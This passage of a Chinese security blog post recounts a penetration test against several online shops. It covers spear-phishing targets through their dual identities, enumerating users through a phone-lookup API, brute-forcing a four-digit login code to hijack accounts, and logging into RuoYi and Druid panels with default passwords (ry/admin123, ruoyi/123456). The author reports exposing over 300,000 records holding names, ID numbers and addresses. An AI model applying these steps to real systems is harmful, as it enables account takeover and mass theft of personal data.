人员空间这个概念就宽泛的多，更多讲究对这个人本身侧写的立体化，多维化。一个人身处不同的网络空间中，往往有不同的安全意识，那么就意味着可以<strong>从这个人员的数字足迹，社会身份入手，发起一次意想不到的跨域攻击</strong></p><p> 可以从<strong>多重身份</strong>入手。比如对方兼具<strong>某高校讲师</strong>以及<strong>企业管理人员的双重身份，</strong> 身处两个业务逻辑完全不同的组织结构中，你就可以从高校的网络空间入手作为出发点，攻击企业层面的网络空间。比方说以<strong>学生身份投递简历，利用高校邮箱发送邮件</strong>等，这些以第二现场攻击第一目标的手段屡试不爽。</p><p> 也可以从<strong>某些习惯</strong>入手，比如通过Web系统中的某些“<strong>关键性注释</strong>”，假设我们在前端的css美化中注释提到<strong>Last Modified by Satoru,</strong>  这个时候对开发人员的攻击就从社工各个开发社区账户乃至到其他社交平台账户，不论是获取源代码还是直接进行“鱼叉式”攻击都很有帮助。</p></li></ol><p>‍</p><p>因此，资产测绘是非常重要的，</p><ol><li><strong>四维联动</strong>：金融→网络→业务-&gt;人员递进穿透</li><li><strong>以小博大</strong>：通过关联资产发现核心系统</li><li><strong>持续演进</strong>：工具链与攻击面同步升级</li></ol><p>‍</p><h2 id="测试部分"><a href="#测试部分" class="headerlink" title="测试部分"></a>测试部分</h2><h3 id="入口点，简单的任意账户劫持"><a href="#入口点，简单的任意账户劫持" class="headerlink" title="入口点，简单的任意账户劫持"></a>入口点，简单的任意账户劫持</h3><p>根据前面这个商城系统，开始进行基础的注册，登录操作，<strong>这里我拿出尾号9722的电话号码在这个系统做好了前期的注册操作以及基础的信息绑定</strong>。</p><p><img src="/posts/c15578a0/20250524190827-20250524190842-08ct3am.png" alt="20250524190827"></p><p>注册过后，我登出，在前台打开devtools并观察网络，<strong>做一些简单的操作，观察用户操作时这个商城调用的接口，后续有一些接口引起了我的注意</strong>。</p><p>‍</p><p><strong>在登录页面填入电话号码</strong>时，这个系统调用了外站的这个接口</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https:<span class="comment">//nft.xxxx.xin/xxx/getUserByPhone?phone=</span></span><br></pre></td></tr></table></figure><p>此时我填入的手机号码作为phone参数被传入该接口，并返回了我在该商城的一些用户信息</p><p><img src="/posts/c15578a0/image-20250524200736-wjhhvat.png" alt="image"></p><p>那么我将参数随便修改为110</p><p><img src="/posts/c15578a0/image-20250524200813-ibcctee.png" alt="image"></p><p>则data为空，那么就可以<strong>根据 fuzz phone参数测试用户是否存在</strong></p><p>后续尝试使用验证码登录，在获取验证码过程中需要过图形验证码人机验证，本来以为这样的校验逻辑很严谨，<strong>但后续发现该系统发送的验证码为4位，且存活时长为15分钟，遂思考能否fuzz验证码成功登录，达到任意用户劫持的效果。</strong></p><p><img src="/posts/c15578a0/image-20250524202114-c87q1cg.png" alt="image"></p><p>后续则尝试登录功能点，发现登录逻辑同样是经过外站</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">https:<span class="comment">//nft.xxxx.xin/xxx/login接口</span></span><br><span class="line"></span><br><span class="line">POST</span><br><span class="line">--data</span><br><span class="line">==========================</span><br><span class="line">&#123;<span class="string">&quot;loginPswd&quot;</span>:<span class="string">&quot;&quot;</span>,<span class="string">&quot;phone&quot;</span>:<span class="string">&quot;xxxx9722&quot;</span>,<span class="string">&quot;userHash&quot;</span>:<span class="string">&quot;&quot;</span>,<span class="string">&quot;userId&quot;</span>:<span class="string">&quot;xxxx3649793&quot;</span>,</span><br><span class="line"><span class="string">&quot;verifyCode&quot;</span>:<span class="string">&quot;3410&quot;</span>,<span class="string">&quot;wxCode&quot;</span>:<span class="string">&quot;&quot;</span>,<span class="string">&quot;cid&quot;</span>:<span class="string">&quot;&quot;</span>,<span class="string">&quot;recommendCodeId&quot;</span>:<span class="string">&quot;&quot;</span>&#125;</span><br></pre></td></tr></table></figure><p><strong>尝试验证码3410</strong></p><p><img src="/posts/c15578a0/image-20250524202440-pdpybno.png" alt="image"></p><p><strong>尝试验证码3427</strong></p><p><img src="/posts/c15578a0/image-20250524202941-okcdrz5.png" alt="image"></p><p>可以看到返回了包括用户实名，身份证，住址等一系列敏感信息，同时实现了成功登录。</p><p>同时，由于该商城涉及交易等内容，能够通过恶意转送或者拍卖对受害者造成经济损失</p><p>而这也引发了我的思考，<strong>既然这是个商城，那么这些用户信息和生成验证码逻辑为什么都得调用外站？大量的订单和数据又存储在哪里？</strong></p><p>因此我推测这个架构为<strong>多个商城围绕一个数据库服务器，登录逻辑经由外站统一发放</strong></p><p><img src="/posts/c15578a0/image-20250524204353-2amqbib.png" alt="image">​</p><p>那么，根据我推测的业务逻辑。就可以开始后续针对性的收集类似业务以及数据库服务器。</p><h3 id="一生二，二生三的通杀论"><a href="#一生二，二生三的通杀论" class="headerlink" title="一生二，二生三的通杀论"></a>一生二，二生三的通杀论</h3><p>通过<strong>ICP备案</strong>以及<strong>前期入口点系统中通过熊猫头，JSFinder以及子域名收集</strong>到的其他外站，收集到三个同类型商城</p><p><img src="/posts/c15578a0/image-20250524221650-2ue40oh.png" alt="image">​</p><p>推测是否<strong>共同调用同一个验证码逻辑，并且能够实现任意账户劫持。</strong></p><p><img src="/posts/c15578a0/image-20250524191732-wptst1p.png" alt="image"></p><p><img src="/posts/c15578a0/1748085209199-20250524191333-yfc8rjk.jpg" alt="1748085224638"></p><p>后续经过测试，果然三个商城的登录逻辑都依赖于这个外站，那么我只需要拿一个验证码测试其中一个系统的任意用户，就可以拿下其他系统的同用户账户。</p><p>同时由于不同商城的逻辑不同，有些商城需要绑定银行卡，因此我也在某些商城的内置接口中获取了银行卡的开户信息，<strong>这也代表着我可以利用身份证，住址，银行卡等信息进行一系列人员维度上的打击。</strong></p><p><strong>一生二，二生三</strong>不但是漏洞层面上的，更是依赖类似的思维通杀网络空间到人员空间，一步步推进攻击链的过程。</p><h2 id="根据业务逻辑，追根究底"><a href="#根据业务逻辑，追根究底" class="headerlink" title="根据业务逻辑，追根究底"></a>根据业务逻辑，追根究底</h2><h4 id="起承–若依弱口令"><a href="#起承–若依弱口令" class="headerlink" title="起承–若依弱口令"></a>起承–若依弱口令</h4><p>一开始收集到了若依管理后台，于是开始经典的一系列应用。</p><p><img src="/posts/c15578a0/image-20250524215707-f4k07f9.png" alt="image"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://bcadmin.xxxx.cn/#/login?redirect=%2Findex</span><br></pre></td></tr></table></figure><p>这里通过经典的ry&#x2F;admin123进入后台，但由于是普通权限且赋予的功能模块较少，因此这里的进一步利用按下不表，不过若依后台一般搭配druid，<strong>这给了我启发:说不定能依靠druid打出庞大的数据量</strong>，在登录该后台后拼接了一系列可能的druid路径，可惜都没有找到登录页面，心灰意冷继续收集。</p><h4 id="druid弱口令"><a href="#druid弱口令" class="headerlink" title="druid弱口令"></a>druid弱口令</h4><p>老天终究眷顾笨小孩，<strong>后续在该商城某子域</strong>的8081端口找到了druid系统</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://bc.xxxx.cn:8081/druid/login.html</span><br></pre></td></tr></table></figure><p><img src="/posts/c15578a0/image-20250524213004-7eq7p8q.png" alt="image">​</p><p>druid<strong>的常规渗透思路：</strong></p><p>可以参考<a href="https://blog.csdn.net/weixin_72543266/article/details/139512111">上心师傅的思路分享(二)–Druid monitor-CSDN博客</a></p><p>Druid是一个非常好用的数据库连接池，但是他的好并不止体现在作为一个连接池加快数据访问性能上和连接管理上，他带有一个强大的监控工具：Druid Monitor。不仅可以监控数据源和慢查询，还可以监控Web应用、URI监控、Session监控、Spring监控。</p><p>这里我通过弱口令<strong>ruoyi&#x2F;123456进入了系统</strong></p><h4 id="进一步利用"><a href="#进一步利用" class="headerlink" title="进一步利用"></a>进一步利用</h4><p><img src="/posts/c15578a0/image-20250524214810-qul5w7v.png" alt="image"></p><p>我这里以参考文章的图片为例，我通过URL监控实时查看前面客户端访问的url路径，去查看有没有一些敏感信息的接口,比如说获取用户信息的一些接口</p><p>‍</p><p>这里好巧不巧，正让我找到了三个路由</p><p><img src="/posts/c15578a0/image-20250524223431-x0890h4.png" alt="image"></p><p><img src="/posts/c15578a0/image-20250524223547-klrti25.png" alt="image"></p><p><img src="/posts/c15578a0/image-20250524215522-fhakgz0.png" alt="image"></p><p><img src="/posts/c15578a0/image-20250524223623-qgu2pkv.png" alt="image"></p><p>数据量证明：url<a href="http://xx.xxxx.cn:8081/xxx/xxxx/475%E8%87%B3http://xx.xxxx:8081/xxx/xxxx/368397%E5%85%B130w+%EF%BC%8C%E5%90%AB%E6%89%8B%E6%9C%BA%E5%8F%B7%E5%A7%93%E5%90%8D%E4%BD%8F%E5%9D%80,%E9%83%A8%E5%88%86%E5%8C%85%E5%90%AB%E8%BA%AB%E4%BB%BD%E8%AF%81%E3%80%82">http://xx.xxxx.cn:8081/xxx/xxxx/475至http://xx.xxxx:8081/xxx/xxxx/368397共30w+，含手机号姓名住址,部分包含身份证。</a></p><p>‍</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p><strong>攻击链条其实很简单</strong>，这次渗透的核心思路是：从业务逻辑漏洞切入，通过资产测绘扩大攻击面，最终利用管理后台和数据监控系统的弱点实现大规模数据泄露。</p><ol><li><p><strong>入口点突破</strong></p><ul><li>发现验证码可爆破（4位+15分钟存活），通过枚举劫持任意用户账户。</li><li>外站统一鉴权接口暴露敏感信息（手机号、身份证、住址）。</li></ul></li><li><p><strong>资产关联扩展</strong></p><ul><li>利用ICP备案和子域名爆破，发现三个同类型商城共用同一套鉴权逻辑，实现“通杀”。</li><li>通过若依后台弱口令（ry&#x2F;admin123）进入，推测Druid路径，最终找到Druid监控系统（ruoyi&#x2F;123456）。</li></ul></li><li><p><strong>数据泄露终局</strong></p><ul><li>在Druid的URL监控中捕获30w+敏感数据（含PII），完成从单点漏洞到全局数据泄露的升级。</li></ul></li></ol><p><strong>打法精髓</strong>：<strong>业务逻辑→资产测绘→数据收割</strong>，环环相扣，最终形成降维打击。</p><p>‍</p>]]></content>
    
    
    <summary type="html">从简单的接口测试和信息收集 打出组合拳</summary>
    
    
    
    <category term="penetration" scheme="https://blog.sudo.online/categories/penetration/"/>
    
    
    <category term="Pentest" scheme="https://blog.sudo.online/tags/Pentest/"/>
    
  </entry>
  
</feed>
